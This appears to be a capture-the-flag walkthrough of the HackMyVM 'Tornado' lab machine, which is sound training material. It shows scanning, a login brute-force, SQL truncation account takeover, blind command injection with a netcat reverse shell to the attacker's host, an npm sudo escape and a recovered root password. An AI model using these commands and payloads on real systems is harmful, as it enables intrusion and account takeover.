HMV Tornado Walkthrough

2026-03-31 2026-03-31948 Words

This Linux machine exposed only SSH and Apache, but the real entry point lived under /bluesky/. A local-path hint on port.php led me to Apache's mod_userdir-style mapping, which exposed a list of internal email addresses. From there, a SQL truncation bug in signup.php let me reset an existing user's password, sign in as jacob, and reach a blind command injection in contact.php. After landing as www-data, a permissive sudoers rule for npm yielded the catchme account, and a small custom Python encoder in that user's home disclosed the root password.

Summary

Scope

  • Name: Tornado
  • Difficulty: (5/10)
  • OS: Linux
  • IP: tornado.hmv (192.168.56.114)

Learned

  • When a web page leaks an absolute local path, it is worth testing alternate Apache mappings such as ~user/, not just classic LFI parameters.
  • Frontend length restrictions do not protect backend SQL queries; once the client-side limit is bypassed, truncation bugs can become account-takeover primitives.
  • Blind command injection is easy to validate with out-of-band ICMP before sending a reverse shell.

Enumeration

Nmap

Overall

# Nmap 7.98 scan initiated Tue Mar 31 14:05:32 2026 as: nmap -p- --min-rate 3000 -oN overall tornado.hmv
Nmap scan report for tornado.hmv (192.168.56.114)
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:A0:C0:E6 (Oracle VirtualBox virtual NIC)

# Nmap done at Tue Mar 31 14:05:33 2026 -- 1 IP address (1 host up) scanned in 0.52 seconds

Detail

# Nmap 7.98 scan initiated Tue Mar 31 14:05:48 2026 as: nmap -sC -sV -O -vv -p22,80 -oN detail tornado.hmv
Nmap scan report for tornado.hmv (192.168.56.114)
Host is up, received arp-response (0.00040s latency).
Scanned at 2026-03-31 14:05:48 CST for 8s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 0f:57:0d:60:31:4a:fd:2b:db:3e:9e:2f:63:2e:35:df (RSA)
|   256 00:9a:c8:d3:ba:1b:47:b2:48:a8:88:24:9f:fe:33:cc (ECDSA)
|   256 6d:af:db:21:25:ee:b0:a6:7d:05:f3:06:f0:65:ff:dc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEN7aAWve8SO3S79Je/Jl1hI2PCIHMkUoW7UL0jJjNIM
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET POST
MAC Address: 08:00:27:A0:C0:E6 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=3/31%OT=22%CT=%CU=41092%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=69CB6444%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 49.673 days (since Mon Feb  9 21:57:12 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 31 14:05:56 2026 -- 1 IP address (1 host up) scanned in 7.89 seconds

UDPScan

# Nmap 7.98 scan initiated Tue Mar 31 14:06:21 2026 as: nmap -sU --top-port 32 -oN udpscan tornado.hmv
Nmap scan report for tornado.hmv (192.168.56.114)
Host is up (0.00044s latency).

PORT      STATE         SERVICE
53/udp    closed        domain
67/udp    closed        dhcps
68/udp    open|filtered dhcpc
69/udp    closed        tftp
111/udp   open|filtered rpcbind
123/udp   open|filtered ntp
135/udp   closed        msrpc
136/udp   open|filtered profile
137/udp   closed        netbios-ns
138/udp   closed        netbios-dgm
139/udp   closed        netbios-ssn
161/udp   closed        snmp
162/udp   open|filtered snmptrap
445/udp   closed        microsoft-ds
500/udp   open|filtered isakmp
514/udp   open|filtered syslog
520/udp   open|filtered route
631/udp   open|filtered ipp
996/udp   closed        vsinet
997/udp   closed        maitrd
998/udp   open|filtered puparp
999/udp   open|filtered applix
1434/udp  open|filtered ms-sql-m
1701/udp  open|filtered L2TP
1812/udp  closed        radius
1900/udp  open|filtered upnp
3283/udp  open|filtered netassistant
4500/udp  open|filtered nat-t-ike
5353/udp  open|filtered zeroconf
49152/udp closed        unknown
49153/udp closed        unknown
49154/udp closed        unknown
MAC Address: 08:00:27:A0:C0:E6 (Oracle VirtualBox virtual NIC)

# Nmap done at Tue Mar 31 14:06:32 2026 -- 1 IP address (1 host up) scanned in 10.87 seconds

Only 22/tcp and 80/tcp were open, and the website initially looked like the stock Debian Apache page. That made web content discovery the obvious next step.

Web

A directory brute-force pass revealed a much more interesting application under /bluesky/.

$ gobuster dir -u http://tornado.hmv/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -t 10 -x php,html,txt,pdf,bak,zip

index.html           (Status: 200)
manual               (Status: 301)
javascript           (Status: 301)
bluesky              (Status: 301)
server-status        (Status: 403)
bluesky_login.avif
Figure 1: The /bluesky/ endpoint

Brute-forcing that subdirectory exposed the usual auth endpoints plus a suspicious port.php page.

$ gobuster dir -u http://tornado.hmv/bluesky/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -t 10 -x php,html,txt,pdf,bak,zip

index.html           (Status: 200)
contact.php          (Status: 302) [--> login.php]
about.php            (Status: 302) [--> login.php]
login.php            (Status: 200)
signup.php           (Status: 200)
logout.php           (Status: 302) [--> login.php]
dashboard.php        (Status: 302) [--> login.php]
port.php             (Status: 302) [--> login.php]

Registering a throwaway account was straightforward, but the page source showed a client-side restriction on the username length.

<input type="text" name="uname" placeholder="email" maxlength="13"><br><br>
<input type="password" name="upass" placeholder="password"><br><br>

After logging in, port.php provided the first real clue. A parameter fuzz for LFI produced nothing useful, but the page itself leaked an absolute path and essentially told me that someone had already tried to patch file inclusion there.

port_with_LFI_hint.avif
Figure 2: port.php leaked /home/tornado/imp.txt

That path made me try a different Apache feature instead of staying stuck on the parameter. If ~tornado/ mapped into the user's home directory, then imp.txt might be directly web-accessible even though port.php would not read it for me.

$ curl http://tornado.hmv/~tornado/imp.txt
ceo@tornado
cto@tornado
manager@tornado
hr@tornado
lfi@tornado
admin@tornado
jacob@tornado
it@tornado
sales@tornado

That user list turned into a targeted login brute-force. Rockyou produced several candidate hits for admin@tornado. That access, however, did not expose anything useful.

$ ffuf -u http://tornado.hmv/bluesky/login.php -H 'Content-Type: application/x-www-form-urlencoded' -b 'PHPSESSID=<session>' -d 'uname=USER&upass=PASS&btn=Login' -w users.txt:USER -w /usr/share/wordlists/rockyou.txt:PASS -mc 302

[Status: 302, Size: 824] * USER: admin@tornado * PASS: hello
[Status: 302, Size: 824] * USER: admin@tornado * PASS: HELLO
[Status: 302, Size: 824] * USER: admin@tornado * PASS: lol
[Status: 302, Size: 824] * USER: admin@tornado * PASS: Hello
admin_dashboard.avif
Figure 3: Logging in as admin@tornado

Signup with these users show that only three accounts already existed in the application database: admin, hr, and jacob. Since the obvious passwords were not enough to reach anything interesting, the next step was to attack the signup logic itself.

Foothold

SQL Truncation to Take Over a Real User

Direct SQLi attempts against login.php did not work at first because the frontend limited the email field to 13 characters. Once I removed that browser-side restriction, signup.php accepted a longer payload and let me overwrite an existing user's password. The screenshot captures one example as hr@tornado '-- -;, and this is a classic SQL truncation issue.

SQLi_work_with_signup.avif
Figure 4: After removing the maxlength restriction, the signup form accepted a truncation-style username payload.

Once I repeated that against Jacob's account, the application surface changed immediately.

jacob_enabled_contact.avif
Figure 5: The compromised Jacob account exposed the contact.php functionality that mattered.

Blind Command Injection in contact.php

The contact form accepted arbitrary text, but command output did not come back in the response. That suggested blind command execution rather than harmless reflection, so I used ping to verify it out of band before spending time on a full reverse shell.

RCE_confirm.avif
Figure 6: ICMP traffic confirmed that the contact form was executing my payload even though no command output was rendered in the page.

With code execution confirmed, the reverse shell was simple:

nc 192.168.56.1 1337 -e /bin/bash

That landed me as www-data on the target.

Privilege Escalation

www-data to catchme

Basic local enumeration narrowed the interesting users down quickly.

www-data@tornado:/var/www/html$ grep 'sh$' /etc/passwd
root:x:0:0:root:/root:/bin/bash
catchme:x:1000:1000:catchme,,,:/home/catchme:/bin/bash
tornado:x:1001:1001:,,,:/home/tornado:/bin/bash

www-data@tornado:/var/www/html$ ls -al /home/tornado/
total 28
drwxrwxrwx 3 tornado tornado 4096 Dec 10  2020 .
drwxr-xr-x 4 root    root    4096 Dec  9  2020 ..
-rw------- 1 tornado tornado    0 Dec 10  2020 .bash_history
-rw-r--r-- 1 tornado tornado  220 Dec  9  2020 .bash_logout
-rw-r--r-- 1 tornado tornado 3526 Dec  9  2020 .bashrc
drwxr-xr-x 3 tornado tornado 4096 Dec  9  2020 .local
-rw-r--r-- 1 tornado tornado  807 Dec  9  2020 .profile
-rwxrwxrwx 1 tornado tornado  116 Dec 10  2020 imp.txt

The breakthrough, however, came from sudoers rather than the filesystem.

www-data sudo rules
www-data@tornado:/var/www/html$ sudo -l
Matching Defaults entries for www-data on tornado:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on tornado:
    (catchme) NOPASSWD: /usr/bin/npm

That rule is enough for a shell with the standard npm preinstall trick from GTFObins. The notes captured the resulting shell as follows:

www-data@tornado:/tmp$ sudo -u catchme /usr/bin/npm -C . i
npm WARN npm npm does not support Node.js v10.21.0
npm WARN npm You should probably upgrade to a newer version of node as we
npm WARN npm can't make any promises that npm will work with this version.
npm WARN npm Supported releases of Node.js are the latest release of 4, 6, 7, 8, 9.
npm WARN npm You can find the latest version at https://nodejs.org/

> @ preinstall /tmp
> /bin/sh

$ id
uid=1000(catchme) gid=1000(catchme) groups=1000(catchme),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)

That pivoted me into the catchme home directory, where the interesting artifact was a custom Python script named enc.py.

catchme to root

The catchme home directory contained both user.txt and an executable Python helper.

catchme@tornado:~$ ls -al
total 32
drwx------ 3 catchme catchme 4096 Dec 10  2020 .
drwxr-xr-x 4 root    root    4096 Dec  9  2020 ..
-rw------- 1 catchme catchme    0 Dec 10  2020 .bash_history
-rw-r--r-- 1 catchme catchme  220 Dec  8  2020 .bash_logout
-rw-r--r-- 1 catchme catchme 3526 Dec  8  2020 .bashrc
drwxr-xr-x 3 catchme catchme 4096 Dec 10  2020 .local
-rw-r--r-- 1 catchme catchme  807 Dec  8  2020 .profile
-rwx------ 1 catchme catchme  961 Dec 10  2020 enc.py
-rw------- 1 catchme catchme   15 Dec 10  2020 user.txt

The script is not real cryptography. It takes a single-character key and rotates only the slice from a to that key, leaving the rest of the alphabet untouched. Because the embedded ciphertext was fixed, brute-forcing the 26 possible keys was easier than reasoning about the transform by hand.

enc.py
s = "abcdefghijklmnopqrstuvwxyz"
shift=0
encrypted="hcjqnnsotrrwnqc"
#
k = input("Input a single word key :")
if len(k) > 1:
        print("Something bad happened!")
        exit(-1)

i = ord(k)
s = s.replace(k, '')
s = k + s
t = input("Enter the string to Encrypt here:")
li = len(t)
print("Encrypted message is:", end="")
while li != 0:
        for n in t:
                j = ord(n)
                if j == ord('a'):
                        j = i
                        print(chr(j), end="")
                        li = li - 1

                elif n > 'a' and n <= k:
                        j = j - 1
                        print(chr(j), end="")
                        li = li - 1

                elif n > k:
                        print(n, end="")
                        li = li - 1

                elif ord(n) == 32:
            print(chr(32), end=="")
                        li = li - 1

                elif j >= 48 and j <= 57:
                        print(chr(j), end="")
                        li = li - 1

                elif j >= 33 and j <= 47:
                        print(chr(j), end="")
                        li = li - 1

                elif j >= 58 and j <= 64:
                        print(chr(j), end="")
                        li = li - 1

                elif j >= 91 and j <= 96:
                        print(chr(j), end="")
                        li = li - 1

                elif j >= 123 and j <= 126:
                        print(chr(j), end="")
                        li = li - 1

I wrote a tiny brute-force decoder that simply tried every lowercase letter as the single-character key.

dec.py
encrypted = "hcjqnnsotrrwnqc"

for k in "abcdefghijklmnopqrstuvwxyz":
    decrypted = ""
    ki = ord(k)
    for ch in encrypted:
        j = ord(ch)
        if ch == k:
            decrypted += 'a'
        elif ord('a') <= j < ki:
            decrypted += chr(j + 1)
        elif j > ki:
            decrypted += ch
        elif j == ki:
            decrypted += 'a'
        else:
            decrypted += ch
    print(f"key='{k}': {decrypted}")

Running that helper immediately exposed the meaningful candidate.

root_password.avif
Figure 7: Brute-forcing the one-character key revealed the password phrase hidden by enc.py.

For key t, the ciphertext decoded to idkrootpassword. This is the password of root!

Takeaways

Tornado is a good example of how several "almost fixed" bugs can still compose into a full compromise. The web application acknowledged an earlier LFI issue, yet it still leaked a local path that pointed straight at an alternate Apache exposure path. The frontend tried to constrain input length, yet the backend still accepted a truncation bug that enabled account takeover. The contact form did not echo command output, yet it still executed attacker-controlled input. None of those individual missteps needed to be perfect to be fatal.

The local privilege-escalation path followed the same pattern. A single sudoers entry for npm was enough to leave www-data, and the final secret was hidden behind a toy Python encoder that collapsed under a 26-key brute force. This machine rewarded paying attention to small clues and switching tactics when the first interpretation of a hint did not pan out.

Footnotes:

2

The npm escalation follows the standard shell escape documented at GTFObins: npm.


Creator: Emacs 31.0.50 (Org mode 10.0-pre)